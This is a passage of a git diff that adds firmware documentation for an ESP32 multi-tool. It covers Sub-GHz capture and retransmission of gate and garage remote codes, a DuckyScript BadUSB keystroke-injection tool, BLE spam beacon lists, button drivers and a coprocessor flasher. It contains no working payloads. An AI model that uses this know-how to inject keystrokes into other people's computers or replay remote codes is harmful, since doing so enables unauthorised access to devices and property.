docs/espnow_chat/README.md create mode 100644 docs/host_link/c5.md create mode 100644 docs/host_link/p4.md create mode 100644 docs/http_server/README.md create mode 100644 docs/lvgl_port/README.md create mode 100644 docs/ota/README.md create mode 100644 docs/sd_card/c5.md create mode 100644 docs/sd_card/p4.md create mode 100644 docs/spi/c5.md create mode 100644 docs/spi/p4.md create mode 100644 docs/spi_bridge/c5.md create mode 100644 docs/spi_bridge/p4.md create mode 100644 docs/st7789/README.md create mode 100644 docs/storage_api/c5.md create mode 100644 docs/storage_api/p4.md create mode 100644 docs/storage_assets/c5.md create mode 100644 docs/storage_assets/p4.md create mode 100644 docs/storage_vfs/c5.md create mode 100644 docs/storage_vfs/p4.md create mode 100644 docs/tusb_desc/README.md create mode 100644 docs/ui/README.md create mode 100644 docs/wifi/c5.md create mode 100644 docs/wifi/p4.md diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 000000000..3fad1ef49 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,40 @@ +# Documentation hub + +Aggregated, canonical copies of the project documentation. Each component's +README is mirrored here; the original README in the component points back to +its copy below. P4/C5 components that share a name are split into `p4.md` / `c5.md`. + +## Host link (companion app) + +- [host-link.md](host-link.md) — unified cross-firmware overview +- [HOST_LINK_PROTOCOL.md](HOST_LINK_PROTOCOL.md) — wire protocol spec +- [SPI_BRIDGE.md](SPI_BRIDGE.md) — P4↔C5 SPI bridge + +## Components + +| Component | Docs | +|-----------|------| +| `bad_usb` | [README.md](bad_usb/README.md) | +| `bluetooth` | [README.md](bluetooth/README.md) | +| `buttons_gpio` | [c5.md](buttons_gpio/c5.md) [p4.md](buttons_gpio/p4.md) | +| `c5_flasher` | [README.md](c5_flasher/README.md) | +| `cc1101` | [README.md](cc1101/README.md) | +| `console` | [README.md](console/README.md) | +| `dns_server` | [README.md](dns_server/README.md) | +| `esp_now` | [README.md](esp_now/README.md) | +| `espnow_chat` | [README.md](espnow_chat/README.md) | +| `host_link` | [c5.md](host_link/c5.md) [p4.md](host_link/p4.md) | +| `http_server` | [README.md](http_server/README.md) | +| `lvgl_port` | [README.md](lvgl_port/README.md) | +| `ota` | [README.md](ota/README.md) | +| `sd_card` | [c5.md](sd_card/c5.md) [p4.md](sd_card/p4.md) | +| `spi` | [c5.md](spi/c5.md) [p4.md](spi/p4.md) | +| `spi_bridge` | [c5.md](spi_bridge/c5.md) [p4.md](spi_bridge/p4.md) | +| `st7789` | [README.md](st7789/README.md) | +| `storage_api` | [c5.md](storage_api/c5.md) [p4.md](storage_api/p4.md) | +| `storage_assets` | [c5.md](storage_assets/c5.md) [p4.md](storage_assets/p4.md) | +| `storage_vfs` | [c5.md](storage_vfs/c5.md) [p4.md](storage_vfs/p4.md) | +| `SubGhz` | [README.md](SubGhz/README.md) | +| `tusb_desc` | [README.md](tusb_desc/README.md) | +| `ui` | [README.md](ui/README.md) | +| `wifi` | [c5.md](wifi/c5.md) [p4.md](wifi/p4.md) | diff --git a/docs/SubGhz/README.md b/docs/SubGhz/README.md new file mode 100644 index 000000000..5d486c40a --- /dev/null +++ b/docs/SubGhz/README.md @@ -0,0 +1,279 @@ +# SubGhz Application + +This component implements the complete Sub-GHz RF application layer: signal reception (with protocol decoding and frequency hopping), raw/encoded transmission, spectrum analysis, signal analysis, and file serialization. It sits on top of the `cc1101` driver and uses the ESP-IDF RMT peripheral for precise pulse timing. + +## Overview + +- **Location:** `components/Applications/SubGhz/` +- **Dependencies:** `cc1101`, `driver/rmt_rx`, `driver/rmt_tx`, `freertos`, `pin_def` +- **RMT Resolution:** 1 MHz (1 us per tick) +- **RX GPIO:** GPIO 8 (GDO0 via `GPIO_SDA_PIN`) +- **TX GPIO:** GDO2 (via `GPIO_SCL_PIN`) + +## Architecture + +``` +┌─────────────────────────────────────────────────────┐ +│ SubGhz App │ +│ │ +│ ┌──────────┐ ┌──────────────┐ ┌───────────────┐ │ +│ │ Receiver │ │ Transmitter │ │ Spectrum │ │ +│ │ (RMT RX) │ │ (RMT TX) │ │ Analyzer │ │ +│ └────┬─────┘ └──────┬───────┘ └───────┬───────┘ │ +│ │ │ │ │ +│ ┌────┴─────┐ ┌────┴─────┐ ┌──────┴───────┐ │ +│ │ Protocol │ │ Queue │ │ RSSI Sweep │ │ +│ │ Registry │ │ Worker │ │ (80 bins) │ │ +│ └────┬─────┘ └──────────┘ └──────────────┘ │ +│ │ │ +│ ┌────┴─────┐ ┌──────────────┐ ┌───────────────┐ │ +│ │ Analyzer │ │ Serializer │ │ Storage │ │ +│ │(Histogram)│ │ (.sub files) │ │ (SD Card) │ │ +│ └──────────┘ └──────────────┘ └───────────────┘ │ +└─────────────────────────────────────────────────────┘ + │ + ┌─────────┴─────────┐ + │ CC1101 Driver │ + │ (SPI Bus) │ + └───────────────────┘ +``` + +## Modules + +### Receiver (`subghz_receiver`) + +Captures RF signals via the CC1101 GDO0 pin routed to the ESP32 RMT RX peripheral. Runs as a FreeRTOS task pinned to Core 1. + +**Operating Modes:** + +| Mode | Behavior | +|------|----------| +| `SUBGHZ_MODE_SCAN` | Decodes signals via protocol registry. Unknown signals are analyzed and saved as RAW. | +| `SUBGHZ_MODE_RAW` | Captures and saves all raw pulse data without decoding. | + +**Frequency Hopping:** When `freq == 0` is passed to `subghz_receiver_start`, the receiver cycles through 12 predefined frequencies (433.92, 868.35, 315, 300, 390, 418, 915 MHz, etc.) every 5 seconds. + +**Signal Processing Pipeline:** +1. RMT hardware captures pulse timings (min 1 us, idle timeout 10 ms) +2. Software filter removes pulses < 15 us +3. Pulses converted to signed int32 buffer (positive = HIGH, negative = LOW) +4. **SCAN mode:** Protocol registry tries all decoders -> Analyzer for unknowns +5. **RAW mode:** Direct save to storage + +#### API + +```c +esp_err_t subghz_receiver_start(subghz_mode_t mode, cc1101_preset_t preset, uint32_t freq); +void subghz_receiver_stop(void); +bool subghz_receiver_is_running(void); +``` +- `freq = 0` enables frequency hopping mode. +- Returns `ESP_OK` on success, `ESP_ERR_INVALID_STATE` if already running, `ESP_ERR_NO_MEM` on task creation failure. +- Task stack: 8192 bytes, priority 5, Core 1. + +### Transmitter (`subghz_transmitter`) + +Asynchronous queue-based transmitter. Converts signed pulse timings to RMT symbols and transmits via CC1101 GDO2 in async mode. + +**Flow:** `subghz_tx_send_raw()` -> FreeRTOS Queue -> TX Task -> RMT TX -> CC1101 + +#### API + +```c +esp_err_t subghz_tx_init(void); +void subghz_tx_stop(void); +esp_err_t subghz_tx_send_raw(const int32_t *timings, size_t count); +``` +- `subghz_tx_init` returns `ESP_OK` on success, `ESP_ERR_NO_MEM` on queue creation failure. +- `subghz_tx_send_raw` returns `ESP_OK` on success, `ESP_ERR_INVALID_ARG` if not running or invalid params, `ESP_ERR_NO_MEM` on allocation failure, `ESP_ERR_TIMEOUT` if queue is full. +- Queue depth: 10 items. Drops packets if full. +- Timing data is copied internally; caller retains ownership of the original buffer. +- Max RMT symbol duration: 32767 us per pulse. +- Task stack: 4096 bytes, priority 5, Core 1. + +### Spectrum Analyzer (`subghz_spectrum`) + +Sweeps across a frequency span by stepping the CC1101 through discrete frequencies and reading RSSI values. Produces 80-sample spectral lines. + +**Sweep Process:** +1. Divides the span into 80 frequency steps +2. For each step: tune CC1101, wait 400 us stabilization, take 3 RSSI peak samples +3. Updates a mutex-protected global `subghz_spectrum_line_t` structure + +#### Data Structure + +```c +typedef struct { + uint32_t center_freq; + uint32_t span_hz; + uint32_t start_freq; + uint32_t step_hz; + float dbm_values[SPECTRUM_SAMPLES]; + uint64_t timestamp; +} subghz_spectrum_line_t; +``` + +#### API + +```c +void subghz_spectrum_start(uint32_t center_freq, uint32_t span_hz); +void subghz_spectrum_stop(void); +bool subghz_spectrum_get_line(subghz_spectrum_line_t *out_line); +``` +- Task stack: 4096 bytes, priority 1, Core 1. +- Thread-safe reads via `subghz_spectrum_get_line`. + +### Signal Analyzer (`subghz_analyzer`) + +Analyzes unknown signals by building a pulse duration histogram to estimate modulation parameters and recover bitstreams. + +**Analysis Steps:** +1. **Histogram:** Builds 50 us bins (up to 5000 us) from absolute pulse durations +2. **TE Estimation:** First significant histogram peak = estimated Time Element +3. **Modulation Heuristic:** 2 peaks = Manchester/Biphase, 3+ peaks = PWM/Tri-state +4. **Bitstream Recovery:** Slices pulses into TE-sized bits using edge-to-edge detection + +#### Data Structure + +```c +typedef struct { + uint32_t estimated_te; + uint32_t pulse_min; + uint32_t pulse_max; + size_t pulse_count; + const char *modulation_hint; + uint8_t bitstream[128]; + size_t bitstream_len; +} subghz_analyzer_result_t; +``` + +#### API + +```c +bool subghz_analyzer_process(const int32_t *pulses, size_t count, subghz_analyzer_result_t *out_result); +``` +- Requires minimum 10 pulses. Filters durations < 50 us as noise. + +### Protocol Serializer (`subghz_protocol_serializer`) + +Serializes and parses `.sub` file format for decoded and raw signals. + +**File Format:** +``` +Filetype: High Boy SubGhz File +Version 1 +Frequency: 433920000 +Preset: 6 +Protocol: Princeton +Bit: 24 +Key: 00 00 00 00 XX XX XX XX +TE: 350 +``` + +RAW variant replaces Protocol/Bit/Key/TE with: +``` +Protocol: RAW +RAW_Data: 350 -700 350 -350 700 -350 ... +``` + +#### API + +```c +uint8_t subghz_protocol_get_preset_id(void); +size_t subghz_protocol_serialize_decoded(const subghz_data_t *data, uint32_t frequency, uint32_t te, char *out_buf, size_t out_size); +size_t subghz_protocol_serialize_raw(const int32_t *pulses, size_t count, uint32_t frequency, char *out_buf, size_t out_size); +size_t subghz_protocol_parse_raw(const char *content, int32_t *out_pulses, size_t max_count, uint32_t *out_frequency, uint8_t *out_preset); +``` + +### Storage (`subghz_storage`) + +Saves captured signals to persistent storage using the serializer. Currently operates in placeholder mode (outputs to log). + +#### API + +```c +esp_err_t subghz_storage_init(void); +esp_err_t subghz_storage_save_decoded(const char *name, const subghz_data_t *data, uint32_t frequency, uint32_t te); +esp_err_t subghz_storage_save_raw(const char *name, const int32_t *pulses, size_t count, uint32_t frequency); +``` +- Returns `ESP_OK` on success, `ESP_ERR_INVALID_ARG` on null arguments, `ESP_ERR_NO_MEM` on allocation failure. + +## Protocol Plugins (`protocols/`) + +The protocol system follows a **plugin architecture**. Each protocol is a self-contained module (e.g., `protocol_princeton.c`) that implements a common interface and is registered in a central registry. This design allows adding support for new protocols without modifying existing code — just create a new `protocol_*.c` file, implement the `subghz_protocol_t` interface, and register it in `subghz_protocol_registry.c`. + +### Plugin Interface + +Every protocol plugin must export a `subghz_protocol_t` struct with two function pointers: + +```c +typedef struct { + const char *name; + bool (*decode)(const int32_t *pulses, size_t count, subghz_data_t *out_data); + size_t (*encode)(const subghz_data_t *data, int32_t *pulses, size_t max_count); +} subghz_protocol_t; +``` + +- **`decode`**: Receives raw pulse timings and attempts to recognize the protocol. Returns `true` if the signal matches, filling `out_data` with serial, button, bit count, and raw value. +- **`encode`**: Converts structured data back into pulse timings for retransmission. + +### How It Works + +1. Each plugin file declares a global `subghz_protocol_t` (e.g., `protocol_princeton`) +2. The registry (`subghz_protocol_registry.c`) holds an array of pointers to all registered plugins +3. On signal reception, `subghz_protocol_registry_decode_all()` iterates through all plugins in order, calling each `decode()` until one claims the signal +4. If no plugin matches, the signal falls through to the `subghz_analyzer` for heuristic analysis + +### Adding a New Protocol Plugin + +1. Create `protocols/protocol_mydevice.c` +2. Implement `decode()` and optionally `encode()` +3. Export: `subghz_protocol_t protocol_mydevice = { .name = "MyDevice", .decode = ..., .encode = ... };` +4. Register in `subghz_protocol_registry.c`: + - Add `extern subghz_protocol_t protocol_mydevice;` + - Add `&protocol_mydevice` to the `s_protocols[]` array + +### Registered Plugins + +| Plugin | Modulation | Typical Use | +|--------------|------------|------------------------------| +| RCSwitch | OOK/PWM | Generic remote switches | +| Princeton | OOK/PWM | Fixed-code remotes | +| CAME | OOK/PWM | Gate/garage remotes | +| Nice FLO | OOK/PWM | Gate/garage remotes | +| Ansonic | OOK/PWM | Gate remotes | +| Chamberlain | OOK/PWM | Garage door openers | +| Holtek | OOK/PWM | Remote controls | +| LiftMaster | OOK/PWM | Garage door openers | +| Linear | OOK/PWM | Gate/access control | +| Rossi | OOK/PWM | Gate remotes | + +### Utility Functions (`subghz_protocol_utils.h`) + +```c +uint32_t subghz_abs_diff(uint32_t a, uint32_t b); +bool subghz_check_pulse(int32_t raw_len, uint32_t target_len, uint8_t tolerance_pct); +``` +Helper functions available to all plugins for pulse timing validation with percentage-based tolerance. + +### Registry API + +```c +void subghz_protocol_registry_init(void); +bool subghz_protocol_registry_decode_all(const int32_t *pulses, size_t count, subghz_data_t *out_data); +const subghz_protocol_t *subghz_protocol_registry_get_by_name(const char *name); +``` + +## Common Types (`subghz_types.h`) + +```c +typedef struct { + const char *protocol_name; + uint32_t serial; + uint8_t btn; + uint8_t bit_count; + uint32_t raw_value; +} subghz_data_t; +``` + +Shared data structure used across decoder, serializer, storage, and UI layers. diff --git a/docs/bad_usb/README.md b/docs/bad_usb/README.md new file mode 100644 index 000000000..b89fc7086 --- /dev/null +++ b/docs/bad_usb/README.md @@ -0,0 +1,134 @@ +# BadUSB Application + +This component implements a modular HID injection tool capable of emulating keyboard and mouse input to execute automated payloads. It features a 3-layer architecture that decouples script parsing, keyboard layouts, and hardware transport. + +## Overview + +- **Location:** `components/Applications/bad_usb/` +- **Dependencies:** `tinyusb`, `tusb_desc`, `storage_api`, `freertos` +- **Transport:** USB HID via TinyUSB (Bluetooth planned) + +## Architecture + +``` +┌─────────────────────────────────────────────────┐ +│ BadUSB Application │ +│ │ +│ ┌─────────────────────────────────────────┐ │ +│ │ DuckyScript Parser │ │ +│ │ (ducky_parser.c) │ │ +│ │ Parses scripts, dispatches commands │ │ +│ └────────┬──────────────┬─────────────────┘ │ +│ │ │ │ +│ ┌────────┴────────┐ ┌─┴──────────────────┐ │ +│ │ HID Layouts │ │ HID HAL │ │ +│ │ (hid_layouts) │ │ (hid_hal) │ │ +│ │ US / ABNT2 │ │ Callback-based │ │ +│ │ char -> HID │ │ abstraction │ │ +│ └────────┬────────┘ └─┬──────────────────┘ │ +│ │ │ │ +│ └──────┬───────┘ │ +│ │ │ +│ ┌───────────────┴─────────────────────────┐ │ +│ │ Transport Backend │ │ +│ │ USB: bad_usb.c (TinyUSB) │ │ +│ │ BLE: (planned) │ │ +│ └─────────────────────────────────────────┘ │ +└─────────────────────────────────────────────────┘ +``` + +**Layer 1 - HAL (`hid_hal`):** Manages the registration of transport drivers and provides a common interface for sending key reports, mouse movements, and waiting for connections. The parser never calls USB directly. + +**Layer 2 - Layouts (`hid_layouts`):** Translates characters and strings into HID keycodes. Hardware-independent and reusable by any transport registered in the HAL. + +**Layer 3 - Parser (`ducky_parser`):** Processes DuckyScript files and calls the HAL/Layout functions to execute commands. + +## API Reference + +### BadUSB Driver (`bad_usb.h`) + +```c +esp_err_t bad_usb_init(void); +esp_err_t bad_usb_deinit(void); +void bad_usb_wait_for_connection(void); +``` +- `bad_usb_init` initializes TinyUSB and registers USB HID callbacks into the HAL. +- `bad_usb_deinit` unregisters callbacks and uninstalls the TinyUSB driver. +- `bad_usb_wait_for_connection` blocks until the USB host mounts the device, then waits 2 seconds for enumeration. + +### HID HAL (`hid_hal.h`) + +```c +void hid_hal_register_callback(hid_send_cb_t send_cb, + hid_mouse_cb_t mouse_cb, + hid_wait_cb_t wait_cb); +void hid_hal_press_key(uint8_t keycode, uint8_t modifiers); +void hid_hal_mouse_move(int8_t x, int8_t y); +void hid_hal_mouse_click(uint8_t buttons); +void hid_hal_mouse_scroll(int8_t wheel); +void hid_hal_wait_for_connection(void); +``` +- `hid_hal_press_key` sends a key-down + key-up report with ~5 ms per phase. +- Mouse functions use ~2 ms delay for moves and ~5 ms for clicks. +- All functions yield to the scheduler (`vTaskDelay(0)`) to prevent WDT starvation. + +### Keyboard Layouts (`hid_layouts.h`) + +```c +void hid_layouts_type_string_us(const char *str); +void hid_layouts_type_string_abnt2(const char *str); +``` +- `hid_layouts_type_string_us` maps ASCII characters to US keyboard HID keycodes. +- `hid_layouts_type_string_abnt2` handles Brazilian Portuguese layout including UTF-8 dead-key sequences for accented characters (e.g. a, e, c, a, o). + +### DuckyScript Parser (`ducky_parser.h`) + +```c +void ducky_set_output_mode(ducky_output_mode_t mode); +void ducky_set_layout(ducky_layout_t layout); +void ducky_set_progress_callback(ducky_progress_cb_t cb); +void ducky_parse_and_run(const char *script); +esp_err_t ducky_run_from_assets(const char *filename); +esp_err_t ducky_run_from_sdcard(const char *path); +void ducky_abort(void); +``` +- `ducky_parse_and_run` executes a script line-by-line with 20 ms inter-line delay. +- `ducky_run_from_assets` loads a script from the internal flash asset partition. +- `ducky_run_from_sdcard` loads a script from the SD card (max 8 KB). +- `ducky_abort` sets a flag that stops execution at the next line boundary. +- Progress callback is invoked after each line with current/total counts. + +## Supported DuckyScript Commands + +| Command | Arguments | Description | +|---------|-----------|-------------| +| `REM` | [comment] | Comment line (ignored) | +| `DELAY` | [ms] | Pause execution for N milliseconds | +| `STRING` | [text] | Type text using the active keyboard layout | +| `ENTER` / `RETURN` | - | Press Enter | +| `GUI` / `WINDOWS` / `COMMAND` | [key] | Windows/Command key (optionally with a key) | +| `CTRL` / `CONTROL` | [key] | Control + key | +| `SHIFT` | [key] | Shift + key | +| `ALT` | [key] | Alt + key | +| `TAB` | - | Tab key | +| `ESC` / `ESCAPE` | - | Escape key | +| `F1` - `F12` | - | Function keys | +| `UP` / `DOWN` / `LEFT` / `RIGHT` | - | Arrow keys | +| `HOME` / `END` / `INSERT` / `DELETE` | - | Navigation keys | +| `PAGEUP` / `PAGEDOWN` | - | Page navigation | +| `CAPSLOCK` / `NUMLOCK` / `SCROLLLOCK` | - | Lock keys | +| `PRINTSCREEN` / `PAUSE` / `APP` / `MENU` | - | Special system keys | +| `MOUSE_MOVE` | [x] [y] | Move mouse relative (-127 to 127) | +| `MOUSE_CLICK` / `LCLICK` | - | Left mouse click | +| `MOUSE_RIGHT_CLICK` / `RCLICK` | - | Right mouse click | +| `MOUSE_SCROLL` | [amount] | Scroll mouse wheel | + +Modifier keys can be combined: `CTRL SHIFT ESC`, `GUI r`, `ALT F4`. + +## Supported Layouts + +| Layout | Enum | Notes | +|--------|------|-------| +| US (QWERTY) | `DUCKY_LAYOUT_US` | Default. Standard ASCII mapping. | +| ABNT2 (Brazil) | `DUCKY_LAYOUT_ABNT2` | Dead-key accent support, remapped punctuation. | + diff --git a/docs/bluetooth/README.md b/docs/bluetooth/README.md new file mode 100644 index 000000000..249e7f91c --- /dev/null +++ b/docs/bluetooth/README.md @@ -0,0 +1,145 @@ +# Bluetooth Service Component Documentation + +This component manages the Bluetooth Low Energy (BLE) functionality of the device using the Apache NimBLE stack. It provides a high-level API for initialization, lifecycle management, scanning, advertising, connection handling, and address randomization. + +## Overview + +- **Location:** `components/Service/bluetooth/` +- **Main Header:** `include/bluetooth_service.h` +- **Stack:** Apache NimBLE (via `nimble_port`) +- **Dependencies:** `nvs_flash`, `storage_assets`, `cJSON`, `esp_random` + +## API Functions + +### Initialization & Lifecycle + +The service lifecycle is split into initialization (resource allocation) and start (execution). + +#### `bluetooth_service_init` +```c +esp_err_t bluetooth_service_init(void); +``` +Allocates resources and prepares the BLE stack. +- Initializes NVS. +- Initializes the NimBLE port. +- Configures GAP callbacks and loads persistent device configuration. +- Does **not** start the background task. + +#### `bluetooth_service_start` +```c +esp_err_t bluetooth_service_start(void); +``` +Spawns the NimBLE host task and waits (up to 10s) for the controller to synchronize. + +#### `bluetooth_service_stop` +```c +esp_err_t bluetooth_service_stop(void); +``` +Stops the NimBLE host task. The service is "paused", but resources remain allocated in memory. + +#### `bluetooth_service_deinit` +```c +esp_err_t bluetooth_service_deinit(void); +``` +Completely shuts down the stack and frees all allocated memory and semaphores. + +#### `Status Checks` +- `bluetooth_service_is_initialized()`: Returns `true` if resources are allocated. +- `bluetooth_service_is_running()`: Returns `true` if the host task is active. + +### Scanning + +#### `bluetooth_service_scan` +```c +void bluetooth_service_scan(uint32_t duration_ms); +``` +Performs a blocking discovery procedure for the specified duration. Results are stored in an internal cache. + +#### `Scan Results` +- `bluetooth_service_get_scan_count()`: Returns the number of unique devices found. +- `bluetooth_service_get_scan_result(uint16_t index)`: Returns a pointer to a `bluetooth_service_scan_result_t` structure containing name, RSSI, and MAC address. + +### Advertising Management + +#### `bluetooth_service_start_advertising` / `stop_advertising` +Standard connectable advertising using the configured device name. Advertising automatically restarts on disconnection. + +### Connection Management + +#### `bluetooth_service_disconnect_all` +```c +void bluetooth_service_disconnect_all(void); +``` +Terminates all active GAP connections. + +#### `bluetooth_service_get_connected_count` +```c +int bluetooth_service_get_connected_count(void); +``` +Returns the number of currently connected peers (tracked internally). + +### Address Management + +#### `bluetooth_service_get_mac` +```c +void bluetooth_service_get_mac(uint8_t *mac); +``` +Copies the 6-byte current identity address into the provided buffer. + +#### `bluetooth_service_get_own_addr_type` +```c +uint8_t bluetooth_service_get_own_addr_type(void); +``` +Returns the current address type (e.g., Public, Random Static) used by the stack. + +#### `bluetooth_service_set_random_mac` +```c +esp_err_t bluetooth_service_set_random_mac(void); +``` +Generates and sets a new **Random Static Address**. This stops active advertising and switches the address type to `BLE_OWN_ADDR_RANDOM`. + +### Power Management + +#### `bluetooth_service_set_max_power` +Sets TX power to `ESP_PWR_LVL_P9` (+9dBm) for advertising and connections. + +### Configuration & Persistence + +#### `bluetooth_service_save_announce_config` +```c +esp_err_t bluetooth_service_save_announce_config(const char *name, uint8_t max_conn); +``` +Saves the main device announcement settings (Device Name) to `/assets/config/bluetooth/ble_announce.conf`. + +#### `bluetooth_service_load_spam_list` +```c +esp_err_t bluetooth_service_load_spam_list(char ***list, size_t *count); +``` +Loads a list of beacon names/payloads from `/assets/config/bluetooth/beacon_list.conf` used for specific application logic (e.g., spam functions). +- **Memory:** Allocates an array of strings. The caller **must** free this memory using `bluetooth_service_free_spam_list`. + +#### `bluetooth_service_save_spam_list` +```c +esp_err_t bluetooth_service_save_spam_list(const char * const *list, size_t count); +``` +Saves a list of strings to the beacon configuration file. + +#### `bluetooth_service_free_spam_list` +```c +void bluetooth_service_free_spam_list(char **list, size_t count); +``` +Helper function to safely free the memory allocated by `bluetooth_service_load_spam_list`. + +## Internal Implementation Details + +### Connection Tracking +The service maintains an internal array (`connection_handles`) of active peers. This is updated via `BLE_GAP_EVENT_CONNECT` and `BLE_GAP_EVENT_DISCONNECT` in the GAP event handler to allow mass disconnection and status reporting without relying on private NimBLE headers. + +### Event Handling +- `BLE_GAP_EVENT_DISC`: Parsed advertisement data to populate the scan results cache. +- `BLE_GAP_EVENT_DISC_COMPLETE`: Signals the completion of the scan via a semaphore. +- `BLE_GAP_EVENT_CONNECT/DISCONNECT`: Logs events and manages the connection tracking list. + +### Configuration Files +- `assets/config/bluetooth/ble_announce.conf`: Device name and connection limits. +- `assets/config/bluetooth/beacon_list.conf`: Payload list for BLE spam functions. diff --git a/docs/buttons_gpio/c5.md b/docs/buttons_gpio/c5.md new file mode 100644 index 000000000..7820397e8 --- /dev/null +++ b/docs/buttons_gpio/c5.md @@ -0,0 +1,64 @@ +# GPIO Buttons Driver + +This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. + +## Overview + +- **Location:** `components/Drivers/buttons_gpio/` +- **Header:** `include/buttons_gpio.h` +- **Dependencies:** `driver/gpio`, `pin_def.h` + +## Configuration + +- **Input Mode:** `GPIO_MODE_INPUT` with internal Pull-Up enabled. +- **Active Level:** Low (`0`). Buttons connect to ground when pressed. +- **Debounce/Polling:** Handled via `buttons_task` or direct atomic flag checks. + +## Key Mapping + +| Button | Function | +| :--- | :--- | +| **BTN_UP** | Up Navigation | +| **BTN_DOWN** | Down Navigation | +| **BTN_LEFT** | Left / Decrease | +| **BTN_RIGHT** | Right / Increase | +| **BTN_OK** | Enter / Select | +| **BTN_BACK** | Back / Escape | + +## API Reference + +### Initialization + +#### `buttons_init` +```c +void buttons_init(void); +``` +Configures the GPIO pins defined in `pin_def.h` as inputs with pull-ups. Initializes the state of all buttons. + +### State Checking (One-shot) +These functions return `true` **only once** per press. They rely on the `buttons_task` or interrupt logic (conceptually) setting a flag, and these functions reading/clearing it atomically. + +- `bool up_button_pressed(void)` +- `bool down_button_pressed(void)` +- `bool left_button_pressed(void)` +- `bool right_button_pressed(void)` +- `bool ok_button_pressed(void)` +- `bool back_button_pressed(void)` + +### State Checking (Continuous) +These functions return the **current raw state** of the button. Returns `true` as long as the button is held down. + +- `bool up_button_is_down(void)` +- `bool down_button_is_down(void)` +- `bool left_button_is_down(void)` +- `bool right_button_is_down(void)` +- `bool ok_button_is_down(void)` +- `bool back_button_is_down(void)` + +### Tasks + +#### `buttons_task` +```c +void buttons_task(void); +``` +Updates the internal state of the buttons. This should be called periodically (e.g., in a FreeRTOS task or timer callback) to detect state changes (edges) and set the `pressed_flag`. diff --git a/docs/buttons_gpio/p4.md b/docs/buttons_gpio/p4.md new file mode 100644 index 000000000..7820397e8 --- /dev/null +++ b/docs/buttons_gpio/p4.md @@ -0,0 +1,64 @@ +# GPIO Buttons Driver + +This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. + +## Overview + +- **Location:** `components/Drivers/buttons_gpio/` +- **Header:** `include/buttons_gpio.h` +- **Dependencies:** `driver/gpio`, `pin_def.h` + +## Configuration + +- **Input Mode:** `GPIO_MODE_INPUT` with internal Pull-Up enabled. +- **Active Level:** Low (`0`). Buttons connect to ground when pressed. +- **Debounce/Polling:** Handled via `buttons_task` or direct atomic flag checks. + +## Key Mapping + +| Button | Function | +| :--- | :--- | +| **BTN_UP** | Up Navigation | +| **BTN_DOWN** | Down Navigation | +| **BTN_LEFT** | Left / Decrease | +| **BTN_RIGHT** | Right / Increase | +| **BTN_OK** | Enter / Select | +| **BTN_BACK** | Back / Escape | + +## API Reference + +### Initialization + +#### `buttons_init` +```c +void buttons_init(void); +``` +Configures the GPIO pins defined in `pin_def.h` as inputs with pull-ups. Initializes the state of all buttons. + +### State Checking (One-shot) +These functions return `true` **only once** per press. They rely on the `buttons_task` or interrupt logic (conceptually) setting a flag, and these functions reading/clearing it atomically. + +- `bool up_button_pressed(void)` +- `bool down_button_pressed(void)` +- `bool left_button_pressed(void)` +- `bool right_button_pressed(void)` +- `bool ok_button_pressed(void)` +- `bool back_button_pressed(void)` + +### State Checking (Continuous) +These functions return the **current raw state** of the button. Returns `true` as long as the button is held down. + +- `bool up_button_is_down(void)` +- `bool down_button_is_down(void)` +- `bool left_button_is_down(void)` +- `bool right_button_is_down(void)` +- `bool ok_button_is_down(void)` +- `bool back_button_is_down(void)` + +### Tasks + +#### `buttons_task` +```c +void buttons_task(void); +``` +Updates the internal state of the buttons. This should be called periodically (e.g., in a FreeRTOS task or timer callback) to detect state changes (edges) and set the `pressed_flag`. diff --git a/docs/c5_flasher/README.md b/docs/c5_flasher/README.md new file mode 100644 index 000000000..dfa9fc968 --- /dev/null +++ b/docs/c5_flasher/README.md @@ -0,0 +1,21 @@ +# C5 Flasher Service - P4 Master + +This service allows the ESP32-P4 to update the firmware of the ESP32-C5 using an embedded binary image. + +## Features +- **Embedded Binary**: The C5 firmware is embedded directly into the P4 executable during the build process. +- **Bootloader Control**: Automatically puts the C5 into serial bootloader mode using the BOOT and RESET pins. +- **Serial Protocol**: Implements the Espressif Serial Protocol (SLIP framing) to write blocks to the C5 flash. + +## Usage +1. **Initial Sync**: On boot, the `bridge_manager` checks the C5 version. +2. **Auto-Update**: If the C5 is unresponsive or outdated, `c5_flasher_update(NULL, 0)` is called. +3. **Execution**: The P4 stops the SPI bridge, initializes the Flasher UART, pulses the Reset pin with Boot LOW, and starts streaming the binary. + +## Symbols +The embedded binary is accessed via: +- `_binary_firmware_c5_bin_start` +- `_binary_firmware_c5_bin_end` + +## Build Automation +Use the `./tools/build_and_flash.sh` script to ensure the C5 binary is updated and embedded correctly before flashing the P4. diff --git a/docs/cc1101/README.md b/docs/cc1101/README.md new file mode 100644 index 000000000..4f813b9cc --- /dev/null +++ b/docs/cc1101/README.md @@ -0,0 +1,187 @@ +# CC1101 Sub-GHz Radio Driver + +This component provides a full driver for the Texas Instruments CC1101 low-power sub-GHz RF transceiver. It handles SPI communication, frequency configuration, modulation presets, and TX/RX operations. + +## Overview + +- **Location:** `components/Drivers/cc1101/` +- **Header:** `include/cc1101.h` +- **Dependencies:** `spi`, `pin_def`, `driver/gpio`, `freertos` +- **Interface:** SPI (via `spi` component, device `SPI_DEVICE_CC1101`) +- **Crystal:** 26 MHz (used for frequency calculations) + +## Supported Frequency Bands + +| Band | Range (MHz) | PA Table | +|------------|---------------|----------| +| 315 MHz | 300 - 348 | `PA_TABLE_315` | +| 433 MHz | 387 - 464 | `PA_TABLE_433` | +| 868 MHz | 779 - 899 | `PA_TABLE_868` | +| 915 MHz | 900 - 928 | `PA_TABLE_915` | + +## Modulation Presets (`cc1101_preset_t`) + +| Preset | Mode | RX Bandwidth | +|----------------------------|---------|--------------| +| `CC1101_PRESET_IDLE` | Idle | — | +| `CC1101_PRESET_OOK_270KHZ`| ASK/OOK | 270 kHz | +| `CC1101_PRESET_OOK_650KHZ`| ASK/OOK | 650 kHz | +| `CC1101_PRESET_OOK_800KHZ`| ASK/OOK | 812 kHz | +| `CC1101_PRESET_2FSK_2KHZ` | 2-FSK | 58 kHz | +| `CC1101_PRESET_2FSK_47KHZ`| 2-FSK | 270 kHz | +| `CC1101_PRESET_2FSK_95KHZ`| 2-FSK | 540 kHz | + +## API Reference + +### Initialization + +#### `cc1101_init` +```c +void cc1101_init(void); +``` +Adds the CC1101 to the SPI bus 